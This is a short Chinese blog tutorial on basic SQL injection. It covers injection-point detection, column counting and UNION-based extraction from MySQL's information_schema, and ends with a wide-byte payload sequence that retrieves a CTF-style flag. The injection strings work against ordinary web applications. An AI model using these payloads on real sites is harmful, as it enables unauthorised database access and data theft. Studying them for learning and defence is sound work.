sql注入基本思路
2018-03-23 本文已影响18人
小小怪吃吃吃
确定注入点
根据sql查询语句中数据类型的语法分为三类:
- 数字型: SELECT 列 FROM 表 WHERE 数字型列=值
**判断方法**:
- and 1=1和and 1=2
- ?id=1和id=2-1
- 字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
**判断方法**:
- ' and '1'='1和'and '1'='2
- ' or 1=1 %23
- 搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
**判断方法**:
- %' and '%1%'='%1和%'and '%1%'='%2
- ?id=1' or 1=2%23 #页面回显ID=1的数据',说明前面不可能带有%号通配符,如果有,不可能返回是ID=1的数据。可判断不是搜索型
关键:注释或闭合语句,and或or验证。闭合要注意括号、双引号、百分号等。
查询字段数目
注意:#符号在GET请求中必须经过URL编码变为%23,原因是URL通用格式为scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
"#"符号规定在整个URL中起锚点作用,也是在URL中属于最后一位。如果你直接在GET请求中输入#,会被认为是一个锚点。而不是自己想要传递的参数。
用order by来判断字段数。
联合查询
内联式注入和终止式注入。union查询的列数和类型要相同。
MySQL常用的系统函数:
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
注意:-- 注释符在GET请求中必须在后面加一些字符,加号或是空格。
查询数据库
-
查询所有数据库:group_concat函数可以把查询的结果并到一列中并默认隔开。
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
-
查询数据库:单引号数据库、hex编码数据库。
- id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- hex编码后在前面加上0x表明这里是16进制编码
查询列名和字段名
在MYSQL5.0之后,MYSQL中存在一张很重要的表叫information_schema。
完整的注入流程
> ?id=-1%df%27 union select 1,2--+
> 查看数据库名:?id=-1%df%27 union select 1,database()%23
> 查看列名:?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
> 查看字段名:?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
> 查看flag:?id=-1%df%27 union select 1,string from sql5.key--+